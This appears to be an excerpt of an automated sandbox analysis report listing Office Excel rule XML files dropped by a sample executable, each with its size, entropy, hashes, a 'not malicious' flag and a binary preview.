Preview:	<?xml..?...f.....sQ_.vN.~...W3Z=w......3...r...j.............>.w.. ^....g&QdKYj..]......z....l..`A...;..S.-.O...^......$..@.....c0..p.!Mr.H.d..X....O.....r.f.[dHe.t6.(5F\+?.2.......... ...k.....g...8.........4..T@...unH.qo....<.nS...4...v.Q..5W'..s..0.{.{Q....=6.<:..F$W.j.FlJ...F}..h.....).~.<..\|.6-Z4.....\|l=@?...I7^.GuZ-.c..v}#..l.\a.vo&GM....a...2.=...`.@...~.).#.l.nc\|..^....R.42...I...C....6 G~`f...........S.J.'.d.{.O.....<.4..i.....~..`R2../..6..V).?..........5...m.V.....].....9..4.:.6E ..!.....`....Z\|..f.{.....(.9j......3.(ta_.]....8.2.<.$.......S...k....y'..Z#..n.Q.5.gh5W...S.S.'..h...1(....q.....'./.h...-...u.....^V.7.^....!.......G..:h.&y....6...n..c....6$a. NU.Z],.... ...g.._%.+..&..'z...`D8.%t.s...........2n.e.n..XI-.g'L.0.6.K[mJ-/....RT....~XS(.dv.....U.i....x.....2=.^..%.Ib.K.?6...n.F.....G.^.......~.....nJ.h.[F.q.)...C..t[....5g.d9D........H.AXF...v.W..y.B..f\..I..yN.yr&bV.LHv2n...4...~F%2s...s.o....p]&..^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.874708021021858
Encrypted:	false
SSDEEP:	24:RITyMIqm4EZBf3yy+2jO9Z9lxr8F4x9FHxgh9+n8CYSvhRaU4U9nooQIA/Y4DWQw:RITyMI4wyytMjxr8C/ghYn8rSvvX4+nx
MD5:	9CECDB790EB119BB4E6747F7B5FEB53A
SHA1:	153BAB3F533EC30B1F5FD7550F5AFBA659D7BD0C
SHA-256:	E0403854FECB964472755E06AC2820448A386CB5A934FBAD9E3574950192A38F
SHA-512:	DE11C0BFE52656D272A245A2999E9A294A1A73CE3485149EE8BFDBF056E9D201D87557E9EC458BDE4ADC3F0BD1EFE8B169B8980DC856D766E2311AE49AB7B448
Malicious:	false
Preview:	<?xml2j=.....P.....B.hv..Y.E..b..N.N..-7&..x.f..k.. (>..DQ.V._......6...c..0..G.....O..L..W...O2.cw8m..x.R.E.-..!..@..t..m3....>....zL/.P..H.......h=....`B.m.......(.W.>.ca__1.`^m.<..P_.....^(.PR1....3.t..?.b>.@.n.Y.F)R...J.,.T...Kd.......Q.-N\|.0...4[.d...!L.8../..{.u..?...z...Fg...f.W.....%...W...>&.=..N.....#p.....=L...v3...+..e... ........z.b35AA./......k.P.....lO..!...\-d.Y...........@.X!...e...4..E..o)[{......x(...ja..$}S~$...M...n...a._.~g.H..s....Zf...H.xR......R.,+.3^_...,.4>.p.....5>.j..b.........i.t.g.=.U.9.....>R....{.1..8.{y.n64w^^...].@.l..2..>Q.ic...KH......T..I.......7.)..q.W....e.2....... X3Q..... ...r.;r.0.........K#..I....`K...#B.. `'............-P...4......p.1.K.69..0.d.Y.`.T$.G...8.L..a\|..u..E.iyj..P?IJ.Ph.f.U .7..._.......a}....l}(....dC.....JQ.>...........&..W.b..+...a...n...N.........ct......QR.A.x)..6S.Gq..q.......D.....t!}..}C..og?p...._7A...XU .....{. }...;.Q.;F..j..m.V..u>.?a.)-#T...r.....1.+K....T.@.(....^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.8219066521676615
Encrypted:	false
SSDEEP:	24:3aBKtip5mFDsSyWsp3fHPoZ0HjzYKolxnW2bD:OrpCsSyXPjzYKUdD
MD5:	2F4D2DFDBAAB19F18E253934D56FD756
SHA1:	354E17565078E85BC685301425347FD1549A9CDF
SHA-256:	9041A632DB8154FA1E38D8AA17F9FE4E6A3E67A4BB842DB3DF29CB730CAB6F86
SHA-512:	C0553D86CD3D97D85CD875B1EDBF4E635EED9858E02BA77C796177818B6AC8DDF1694FE3B37CCB0AD160D80616AC2A420E8566D9D324F5DDBCAF699B86813663
Malicious:	false
Preview:	<?xml..<...o%...<..%......v...Y. ....G..........5G]...!CQf.bn..U.U...4E.cT..;W...E4.I...=.9BFH.....p%...i.q.x7.r.z.M./.....?....^%...0.Hay..5...>.O...?..m\.A.s.x..0..qN...F..p.?.b..........hm...J.k.(..T ..f......W.4k....ko...+.tG...UX.t......C.x.....D....(..........J..Z=....YG._..i.....y.,.`.N3..\..._V?.....,...<[.8...n.-'...C..+mK.:.V...+u.. .F.Q..N`.....X.....*n..S@9.6.Z.'.fp..$.3.+......TS..^.r.L.lN.i2..w.yT...}.....P.....3.3p.M3.{..Fl$...../......+.I......>v....T0..A7..w}.....7b.......[.c16.wE.N.S...Pt....o0..........P..._......;Z.....@.+..@...e.....".RGZh.l...s1[....8..h....q.....>...-...........?...$R...b.js..,..j...[\|.cy>H-.'..Hd....k8jH&.fV..._._A\K.\|..#.f`:#lJ.....+`Y..GI.....vW.)".l/2.....M.}.....z?...V...........8.in.X~ .....}...8)7=Q-.E\......F].........e}.e(..h...x(.).>?..w{....Yj.P.9...v......I&.3.j.d.T....4..y.%...;.0.i.Y.2....5_4.\|...HmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.955933415298456
Encrypted:	false
SSDEEP:	96:EElKofUB9RAUBWHwognnRO5a2CQx7EoSdKoJ3L8V2StI2EoTeOyFcy:EEYZ/Bwwogn8aNyIdR88Yd2Fz
MD5:	FB36A339CA707A1BD872B2B2343A79AF
SHA1:	D6944EDCCBA211437FF567088A829E561955FB39
SHA-256:	63E582D847783B40C739C996A67E1EE9D120BDA64A7F23A26B0A3929EDEEE9B3
SHA-512:	88AC5DE9095A92F556CD7AFE0751FDFE4073F4EF8E430DB08D642E0AE8F1DF60673433F05E7BE2875A453CD9C174A8D01B7830C91F85EBF4EDE4007F575F8745
Malicious:	false
Preview:	<?xml.E0#..^R....H..A..ZcK...sb.......s..G..p..y...3.......N..{..qn..r......&X..n..0......SMs@..:..f\.+..~.C'....pc)t...@C........r.-.";Y..,B..p1.h.;...3_.WY...~...X...."..T.gU...g..b....,...C{l?k..x..7E.U..P....Lg...../.>.`..e...i.Tk=mwL..=...F.5@....D..EP0.2..\...KT4e..X..M.W..r.F.s.F9..k9M..,.4..z.?..m.'x.kD.....T&Jo.....:..u.Ug H.R.5...I.S.s.G..FIY.`v.".j.]\|.]...O..HN.2..z.}..n....f..IWs.n...K...6....L...[K...a^.>a.......=..i]{.Q..9..4.s5..@......I.V..V..0...N..^=.`.gd.R.IbSF;...l..R'......C.9[.../].].S....ji...v0.n.EB.... .......B>..+.....,."...........km...n.V...v.KKu......>9.[/.1`.b..j.....H%p.9..<...z....Wt..\....&.S.}......A...#;A......e......,H.\|A...c1..X.5.9$j....>..\|..H.#L......rc.!%..'..G..p.__.)..n..._e.......[..<...l.N.`0......Zj.,....1k....a...<.j...;]k...Oa..f=.o...qC#.b8..V$.....2....P......q...q..Mu&Ec...../W:.k..1...T....j.....~...-.=.*.a......BD..mT..0?U.3..a..H\|!..H&...]...'Q.A8...9..m......])<.ZCA.....o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.933469013326058
Encrypted:	false
SSDEEP:	48:pXnRMNL/Fk84tCk430CzvW+g0R0LE7CDQzP/Ym5jQNqGmtV8v221PK6lq3x0JaYM:xnRUL/aODPzvWGJ1FQNoGn9HlW2U5
MD5:	63F02BE9C576F50C47EFF5C6E3FB2844
SHA1:	0446064F0B2878E526913986B65463ADC76DE961
SHA-256:	30182126682B2BC1D1390E5E7EEDFA4BE5FE6E7F53AF784ADDABA10050AB5959
SHA-512:	F509396F657B02B0F8A19EE5A1798513924B44763C02121D50EA82246306823386EEF2F86AFC09B289E1F5FF09837C7239B45BEA907AA7A54DA5619937E84BB7
Malicious:	false
Preview:	<?xml2}eK..v=0...'.o..u...B.g.ul.~..Vz.......[....t.;.2o...o..y<...1..Zm..n.1.._z..<q..x..^EB.VSO?D.K.d.......R.....7...tnz..V.+[..4.%..5...Q.~........Z..b:...n%.wMH...Q....[Bw..C.\'..<.l".j5..'.7.....8....@.0S.b].s{HMO......@....t...{..B.5_I(.....,@...m..b.U=.2.7 ;.c.@-.....kS..3.....N....:.Ti#5.G.EJ..&[.ub..........{..P?. .Oa.....n.T.LI.o..@wx~D..,..r..[.F.XS.;..i..x...?;.A.r.I......B)C....qxE..~;X ..."....e...p.Z..s..:i.3P..l..w..y-.....~...=!...i.............>.o......Tw.30.F....L....gx,....OU..us.y7.[[wd....@".q..@?....a...IA...4..u0j......K...9...h.jx.)1.S..Jk.D.".]..+I......O.0+\.ci.(.z.B...5` .8.-V.....).~!pH.J.$)..+<..j..,A...?..;)'...:\|2..L^........X:.q..GD..:...o.r...C...~.Ht3...x......*.....s....~".4+pm...1.(...[.A.....1..P.~..R'.'.<`.M.@.......U..\|_-v.!)..KL.\e.Y.jv.....(.v.Pl..d.G.P "..i.J....?j)P........W..".2..@...!.... J9.MN...f....KP....2.!...d....CX..p.^.pX..[..h...g&r.S..k#.D~........p...02j}.....P.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.94042862242277
Encrypted:	false
SSDEEP:	48:48ClImcPguTVVvzYW3Um8BrWG2EpM00Dt6sFji3uhmhH88mgCNtJqlO4vjTRlAn/:4oT5zNGBDe6GjYuoqwCNtWzBm
MD5:	3BC0C5A13CE13014521009020865FDB2
SHA1:	8B984767F23F2A0BCAFDB863141B59A5A568DDC7
SHA-256:	515B7A02C669E420278CD1C00E600CB4AAC88DCF3E6C38FD1EBB6E035F0DB9B9
SHA-512:	60EBDFAE135E833AB5F58385C35248CC4260944C4A94429984065A95A7CCC51FD7C62AD95D42992A9A6454CD9084EE439ABE3FBDDF361446EE44C4DE598EA66A
Malicious:	false
Preview:	<?xml0g..>..X.FBY.......vu.3.5.'.@.......n.".K8.H.&..u..Fx:..O:1..48.k....{.F..{4\...jY.T.D\.....$...3..g.._.m.....Y .x{..V...pQ.,9.....y......X.V.]......afc.<O"S,f.zwyV.>(&._".Rb?.&.L........Gk.;.y.p.6'"@Cz.4P...#...`...:SUF.......ivv...;X..v.S. .v...nE...C.2.I.:.A.t.I)CM.......y7..l...lMWrt.<T..M.;....^.d=~..s.l.Bf./.`.d.C.=.#..5...).~...U..z.H...g...}..^...~3%Re...}..-'g..J..gif..,.Q....].Ci}.Qd.C...Ha.\.ID........N...A.&"J.bh...gm. .f.bb...m.8b.."j@.Q..f'...._..72J.T.F.'.9]n.U6I_..Cwv(..Z%h6.X..N..I18.........G#.U.h.. .F.[.>.vK ....\|...5!...'.t..p..l)[6.5..iJ.:..1.K...W)2..l...Sv;tE..M.l...?&t..l.~dc...#Hbl..6.....j.&.q._n10U?.....[2H.=7.XO....(...T.^.:......!b..#:l....8..;&..... ...g.F..O..L;:W.....\|"K&...m..M.L..IY........M._dg.....3.NPp]..-.Sq..a.b.8u../.u.h..f.>_ k........`.md8...@.....<%K.d.D........h.....D.B.n/.}!.a...A.c'..k.)l...;`$.#B.iPl ...\|........Ln..Y.....u.,.LsWv..DL5.....:}.............?...........@..%....3o..al.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.843910948207521
Encrypted:	false
SSDEEP:	24:GwOV/v3g9rIfR0CP+qqPE6VxRjRuQf4OpIcvBjg4cfBIPiHX/gRk22bD:TO93ghIJdPPcjRrf4OpIcBkffBVX/g+F
MD5:	9B842C4F01A21FAB76B26FFB732BC1CD
SHA1:	DC330A6FF941827D94ADCEE76E9165539A026701
SHA-256:	A6E76EF03397C8B4ADCCA3F9F5D9434DC2A03DB935EECC8AF6D71407FFF5D8B7
SHA-512:	6D6475CB8F8C251EEF047C9DF69D8CB44809432AFD9938183D3C47FCCC310C13628AFB6ECFC93DA70C3B7897C5D7438AF0AB95D8427D1D2920C350E288B74A1F
Malicious:	false
Preview:	<?xmls..u..aG4...IE.Dw.V.!.".%....!.]!.Hw..$.y..H.c..,.t..T......B...D......._........u.=.p%eW....J1EF..K..!...G...\...=.3.Xt......../..Kw.....!.K....$hl....d..).!Gq..w...R..hh.P.=vV......m.6........A-....;HW..t....7..K..@./h..[...1Q.o7.A..p;.8L..G..A.....".'HCrLI..T8..~.Uf.~..x..@.wt.a}.I.>Q2...9.!i[M.g.a/....U...q.qwx.(n..^.<..Bx.!WJ}.JA.S.R...=.=..q....z.{<...$6.4.]...^.....u..\...A{...ls."-..j.`f...r......... ..7d.......\ .7:E.....Z...C...ow. .;;tm.]F...aqNE. ..n=M.......+.WXGi0W..u.O~......9w.s.B\....YET.W[)..g...P.......v...dv.....2.a.2...~w...>.....W[Q+b.:...\|/8...aI...b..'......"..(b.7..68.h..1.i5.m..D.~.8;q...#MB.4.F.. J..4...o.5}.M.6...o.....t......`][.8...o..A.....8.~...dT.n....iO...k..W......S....7F....=.J.....+a...e.W...6s5m........$Y8../.md.vP.CE..Z"..t..e...u...B...e..CJG.F..Q..S...63..r(.j...yY.%..f:.....y$.>u..(...J..5=.`Xn.........]f.u.ze...\|.y.@.K.\|].%.!.P.......IeD~q7.G.........RYbj....E;..q.9..fI..z...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.916151529323846
Encrypted:	false
SSDEEP:	48:P60s/djd20nlmQDU26OAQKaxqnwD66jUqEi5s27NREkS9D:P60sdjcknAoZgnK66nE077a
MD5:	CEBB09927D7EC5772BC2F5AED3BFBD00
SHA1:	AF4397AD2C350150BF45CA9CC13052365503B639
SHA-256:	BACC8B3B55B8B58E0BE6271F48AC56D81D337E4071A6F551A005C4910E7BFE80
SHA-512:	8C98B9DE543EE4EE2F1567E4D993D7AE75C9EE3B7DE8280B753725FBA5560A28368F7761957731E5604FFC8444DBF1D9E5ED3B48E220E8EE42D18C507E682BDF
Malicious:	false
Preview:	<?xml.l..^..X6Z.u.]...e.nj.9......f..5..[.,.....H.......A..."Y...G.]W!..O'W2.b..LK.).a?9.......E..J.rW.Ax/....>.LrhEu.di.L+........n..@T..".....k.6.\i...c..~...\gY.nT{...p....h.O...?n.%..$.v.2...`....A:.u.".............M...T......7S.......^...G...h.Qe`...(..0<....&......0.....W.C.-..A.F\|K......Q.._.+......j.....q..K.....#...l=l,.-.&25........Rn..._.-t....../n..>f...q=OG3.@..@..P5..".,.......F...GS....9...s.yM.8]'..x..j.0#..`.A\<.@o.Q....3...w........zg/x.,.H.........I....l...........Rx..v.....t/!#....&.A?.....qJ...)q..5K..Na..R.F..AJ..FL..+~..h.......g..X.........n....'1r. "e.....X.71).."0.n..4..%.V......s....%.`...... ...S?.......P`.......S.U.gm..+@....;.6..(.%...k....B3.Z".i_4R...XW..!,z9......u..]....&..E.......!.&..Gm.5.I.!uAF....X,.E....Tr.H9....z.l7.#.$..6..R.g.j_oOY>....HoK>I..(.5..oG.V....8...AQ#.-...h.....$.f.I...8.~5.T.A/.p.R.E6%.\|x<(... 5].Z...Ea.P...@(...Y..v...9<x=_'2?..\.-D.fYZ...*..3d...5,u94....".....2...\|...Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.884689849335627
Encrypted:	false
SSDEEP:	48:1GyOBqi3oSP5f2rlXWG9iDgwHK4yQsjl1e2LD:1GXBqOos50V7YFuQin
MD5:	D5B02F81CADEE8E76417FEF800D7073C
SHA1:	A76361C9113DF1C7BFF6454E0E08AF8BEEC8BC83
SHA-256:	68C17CAF4AA4B5B524CDDF891B1A1BE28A4BED43BEE64EC053D2B8E10CA1918B
SHA-512:	CE6FCD8BA7D8D1A43711D9FA6767A6D3D6E30E6FE266404B3CA4A1D0FF2339A674986275C9D94FD8CD9984B0E0324CB94A19710DEB6CE53047912F2F40CAA66B
Malicious:	false
Preview:	<?xml.....g...i./lY...Db.QH.~z....0b^,..{.2~.Ugp..FeMh1.......R.o^...I.F..1.... x5...).b.....E...m..Y.....h.\|..BJX3z...v..U...Q\UA.h;......P...x.......Co....=......q...\|.3.K.D.#LK[.M.......,.F..&..m+V..[o.......=9.'.2L.a&U{.'.W.+...O...X1...F.y.n..O)._y]........U.U=...^.!.....}[#.$7...y.W.$.a- ..K....?.......}k9.^U.q.O.s.F..E..k'..[..[RU..Gw.y=+.E.%..i3..[;..6:Y6....A:.a......S...8..)l..!...../.....qek0...U2.M.......X..!f[.....x.>=t`64..3.$....O._t...d.s.E.#.M..@.w...WtQ.....&.D.2.....SC.dL...Jo.....7]V..Hu.2.-v.(.%..^p...Y...Yq.....L...{..........d..z..{...Cq\....A./.v..l..-.V...b<._...=O.p/8.z.....z.Z.J:.....9...A#...G.x.F..T........+..N>V.<uA..q.o.....\|.. ..j5.9I..+vg....C:z."b.p.E`.;.s.".8.6...(..-....oXr.An..D.h8..=..4n......RF;.QA...P..)...]..,>p....2+zW(..MK.....Q./.R...)..G..Oc.T.M{Z.R.....#..=e.NU....D.Y.k.........Y....f.r_C0c..T."....c.c..C....+.A+\X.>0\|.m1..8.p......].Vw_Z...f....O..<..5/.`..I....G.~...]\|..&..:...eR4.d.....f\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.877558399085259
Encrypted:	false
SSDEEP:	24:vEkhdKREUfyicKcw7VKeTaUDv4HxZZI6hO7iBpQiL0nDJjc+PNs0G2bD:vENHz9VKeTaUDvWnIOaS0nDJpD
MD5:	7C502A2C429061E91286820A0309235B
SHA1:	6A76F25A6F748020CAAB675203F4EB865FC5D7AE
SHA-256:	BA5D4AEB4444D9785DAD160348B5EB0ECC612D439F51B276F824A29C3CBDFC40
SHA-512:	662441A96A104A5526EFA81BC6C8B8F9EBF12EF2158EE9EB47E29BCE268BE4BD394DF54C208BCAB3ABAED672434419A7D62D67DEC5DD64B10C0693DB5B1F4C55
Malicious:	false
Preview:	<?xml..r..{X.$.N...Y......UMK..Et..^f......4.4L.......f")He.........y..#.......;..@O.s...].P.B__.._..7.%...:...H.V.M.)..p. (....j..3\|.]).j.X..m..{K....b.H\|w..5.O.S.<...e)".D.l.."....DM..ab...^..S.#.{Ihq....r............B1......,>..S...dn...O.B.+....y.]'$?A......f^..\|?.\|^..&.......K...\..!f...........M.4.!.....;}.K..2.yT:#...-.n..!......P..6.l..A6..q....r.p/f.jK.........,`...1{'2.R.k.p.D.h.j....{4d..u.#.W...........]}.....J.Xb..k..j..8i.V..P.\SE.D..K...".F.q..@..H.......W..z....O.b.K.[g...{..N5....i......vS.,..:Mx..._...w..V(.q.;G.O.....[..0..^.........m[E.I.......M.....B.l..2..f[.FC.O.v$!N....6....kAR..9.r<.[g.(J.1.<cF,..K.......r..n.1V..+..\.....!"P..q#...%....6E....g%...]}m.[..-[..V....3OG.ju.P.%.a...q~...+..b.!'J/.x]h*z@..;.../..v&..v;.W-X..3..p...\|gJ..../..R.2NN...M./%..r....g..g..;.....c.7..u.....Y.w..:x......5.:q4.5..Y.....`..!....O..+.U.....-h.:J..'U.D...~..\.W.dR(...`...Yu....D...T'$....~._.M1..M......J&.u..ctMw[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.922847323649791
Encrypted:	false
SSDEEP:	48:bIRPpQIpOh5A9KDLHAXOHmi2dkTajz2e3NMtP4FTsi0x1x8bcNTYKN61hBD:APWXha4Dz00Ban2erFwiOEc2Ks1D
MD5:	9205B3A13AA58D199CCA6F43CBFFD307
SHA1:	185297E56610092814921B626E68E26AAF0C0055
SHA-256:	DCAC2A0E1911CAAAC846A8A7338F9BC833CD14A237232279C244925E0207FC7D
SHA-512:	E5D42254E240804FD067F89918F6C95417E73E17C6D7B6156BEF5714FCD1E91F9B4EBB2EE766028FCA4F97DB5F72B0AD2A6B7786E86D2E5CD1C53F66299BD490
Malicious:	false
Preview:	<?xml_..@..j.e.w.4.=.....Y.\......z...h.M.;>.ce...C.hv....D.fZ.M.mf.....a...../..R..a\|._..U7.%...Y.f......s.....G..J...kp..$9.$.H..9}........]..P......s...4..m...N.....3'..2.@.w@.D.uR...\|.M.....#.1.7@1.a..e./....~.Z...{h..y.,..D..F...{.B-@.9..2.#.).\...c..g$.tB....X..A}...&T...!z..Nn5b.7.....C5W........v..p.B.....#..n..t.....l2.9._.....6..KB:.W........S.t.R..H9..6m'..'....H.OW....<..^.......r..V...Q..,JMq.c.......T..;.}WsB.._......?...J"8..Q......U.....C.$...Kp...;...;....t...S^.U..o...... ...>.!....c.B..UN.s..X]J:..8.&..dm.;6..@ .K.,....p)..@.r.+Ij..{LI...+'.j>1.]BC..-.>hN.......:4...#...N~.....X.KM9..3.bC...TP.KVD.>E2DL...>...Lf.=G....A....V......_d..49......k...n..K.RUqB.4aa....pj.et...#M..U..Kh9.../..45...B...n.z.E2.\|h.V..c..K]..ff.(...p>.).a3?.viN...E<..~[.Q...l.j....@?^..i...C6C..........qflN.{.&..4..#............L.7...Me.z>].J..e.....W.9@...h..._....h.i......v..*.e..<...e..y.....Lr.c.M.H.p...G...:n....{......8.@Z...c.Vz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.959347290224189
Encrypted:	false
SSDEEP:	96:2taMhbOKYq5ijbTgU4Vwz0Ut7yZIRGkZ2eu4Q2tSK2:2tvbORq5iXTgU4Vwzr7hck8l2ty
MD5:	EF1B199F20EC68849759D94834E2592F
SHA1:	EA44F9DE7DFC173F6AF736C4DCE2252B8FCB40ED
SHA-256:	957529DC9426BB89D80C482E5CA73E50927A2185897EA6AF94A531C90AD0B915
SHA-512:	9CEB30CB9A750626B23BAB1FAD5FA0D79C94C5BB64B0AC2C7AD7BDEF3DFA2365B77C141E00807C8F0DC9C440682827F3FC22A03ABA04950471DC09B1E9CF450D
Malicious:	false
Preview:	<?xml.^...._.P.q.6j.Rg.u....$`.!/...-..a..e..o..S..H...\|..pf.....K.5..L....@.:.j.m./B.J'S.12...a.p...L.v.....0.k..b).....mO\.{3...&..........al...Pp..>m..D..D...8.F....$..4_E6.mO..A..].t...i. ...P.<,..n_~.Uw.$QM.1.e.8..^....m$F~.s.&.5..-f`...^.4...3LL...=V..{.IG...U.J......e)P...p.v..q6..wQT..0l[;0DO.......0....L..?..l.j$;._.N{t'...#........I...-......Hw4.#..5<...!"..n..k.H.~.O....Y%...W.J.Fmggh_(.-.....H]X... Z.yG>...9.'..k.].....B..<K..z.6.7.....d...p...cB...WR..C..../..a.A.w.A.G#......+`....t...85)O<.....(..o.F......D.X-.L...3wu..b...rg..o\|.8x.n:..2......NE.`.g5.N.r...k.}<I.7.@k.l.q..VDB.\T+.....+t.x.....Sj./.=....e..B 2..Q8.w........Df.h.ut...$.-EzD5'_......y..4 t.1..U!u..{Q...~.....,.......w.V0.....G.?.6.....K..;....I9..W.T.8...`".k.`.Z..Hj...,..r.2....`.....0ba'^..t......2.v.Ze..lS.j.$...;...U..J@v"OM.....QN........K.];m.5.N.c.........(-Y..)..U.O.....Y9....y..K.9?H.... w..h..a..H.gJ.}A........ar...........wS.^..)I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.973779676299878
Encrypted:	false
SSDEEP:	96:nqMlC4gIyOz4SO7ZFvuDvGi3PUst4mt7y/45gz4c1k7w+6DVEhheG59VqL6xVSNx:nsvmR35y+QWG1k7vmVseGRVxVSNwVK3
MD5:	F7162468325C38C49CBBF6581C144F85
SHA1:	A443DC27444566E2EA3CEFD3C5452C3ACF4BC6BA
SHA-256:	7B43B291844B650B56BFABF664976A07D7A368526FBC4DD4C046C03CA76A01C4
SHA-512:	EEA2719B4638664188BC3F4B36E7B87E5CE18599C5E189AAC1AEF77606FB31D3EE24EE8851FB3BE32584C55AE1553624B2BF4019BC66280BC9E1EA922A8D4FD0
Malicious:	false
Preview:	<?xml...c..Hhj.....q.8z....Y>i.g..Z..xM...\...9.p.....{.>0.#..@......n....6zCC...a.`.Zm.....n[ ..7b....9..E....D.r...D...<...,.....`\|{6.U.#.zz...L....t.h.R&..$].F[Y5.6.s.{b.1.SK...<5..9....s...6.....Pm.%.]..........p]a.<...nJ...@T.].?....oj...h.6.E.dd.i...&P.#...3.8..x.&.:..=.,{.?..&Q\|~.pG]~..2.1=D%.E...vr...".G ....p....n.G.......]%..fuw...m..]...w....}s. g`d.Z...k..Z.4.w..$.....=.[..<'.B..]o<..h...2....Am..9jd..0...!.?...M....7...K......wr..x..dV.%c..Ru.w....kg............w..$v...B].......kY...RQp..:..\|R.BR...y.X-e}...c...%3._....[+.].....)\....m64k):41C....%M.whOU.sd.W..d.............K....n...P.u.n/..........Up...N....w.....`....3A<..1....'g3..-g .{......qC.k..@>...l...Xo`...6.sNs9z..J8...e<..+a.8%....L'...q.....%.!3..{Q...=....Bv."".....#FF._........f....U.q..0..aq..4.F......DN..N..G.v}7..9.....2.x....I...p....F7.s..6...)...*..p....[..YaP..}....<....+.K....w...._.d......5A.hj...A...l..tzY{...j..T.s<L.Z..%....X......1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.93532810690072
Encrypted:	false
SSDEEP:	96:XsZD+cMLEwvDvMz/5TVer2N0vnO4h0ppS+C:XsZD+clwvDvMr5TVg2Nhni+C
MD5:	DAF19BD7CCD965060BDF71AB705C6471
SHA1:	496F61CE9103C93E7027A4393B14BB4F8B78CCBD
SHA-256:	4436877BB7099B0289F56D32CB9213DFFB11ECCE16FA663ECDE280B285F4AE96
SHA-512:	B4C02C63FD98A0708CB335EC42709351C53C190F35E8CA9B4D92A5823D1D4FC3F1C25674078434452F44EB8A1119212F3F7D66A3ABE4A0604CAE1BDBB9FDD501
Malicious:	false
Preview:	<?xml..k\...V...%..].....R..M.~.%.s...x.o.m.70$.....nO..4...w..H......W......;......B.e....>.B...p..Q..lT..O.qQ.....o.....W.B.7.).<..%.....:..m.ieTR.....8...M.^..g...R.vX..\. F.Pz......7^_.~..F.......-.K....7k.......w.QQ.S.0.A.'o/.oK.9._.Xzf'..u. ..* ..H.&....K.V+.k...5U...........G..;.t..d.....J.0y....@~/...`.Ec........O.r.v.......<pT..3........^y.....W.bH.H.S......<..Bq6..$.A&.>...\|..Yv...R...#..a?O.e...=.B.(..~..E.. .p5......au....ph....mn.7.k.S%.=D...<.....{....y$..G.;.N.p.Uh0S.p...5.\|U;q......u....ny.. ..W8i..M.........h.`.0.D..S. ..../3...]..k=bH....wa.M..R....J....N.....OU.....4..p..2.?..B-.Z.WR..:q..U.w.^w.X....Q...HS.......~.aJ......9z....,R$m!.X..iQ.u..:....p..a.'.D...4f'...L.....Hg0..Wt.bL.!..&...........{.v/f.T..p........G.R.J...c..['......S..ShK.%.t.A.@.t..0. ....0.%...3-.0.T.Yy..q...%...j.........5.Q...F.;'6..Pm..2...K#.....L.).=.....QH[...&...QP.J....wF....)..scD....T..6o....12..k...>.&4*..Qe`.y...0L.]h.,r..K..dl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.9541824599216895
Encrypted:	false
SSDEEP:	96:J+/CmGJdlAPDTpfJggDdzLzWZPMefi4bnPQ:J+KrwDTphVDdzckSi4jI
MD5:	8EF302F33E968652399EED7C5534B506
SHA1:	BB6CB044ED2BD0BA93CDAD54045F1A24347AFE74
SHA-256:	3B6A8DA29E207C0A1DD974557A50D4BCA5E479F147085FDB0A257007E6A5C6D8
SHA-512:	257AE8E4596482F5010C991C1BD90536B6650685C68A1E5339D6D73B85B5A2920B8904EB9BC02B8E114926B5BE33DB5EE66D8C764A92799229FDCAFB6E08E9C7
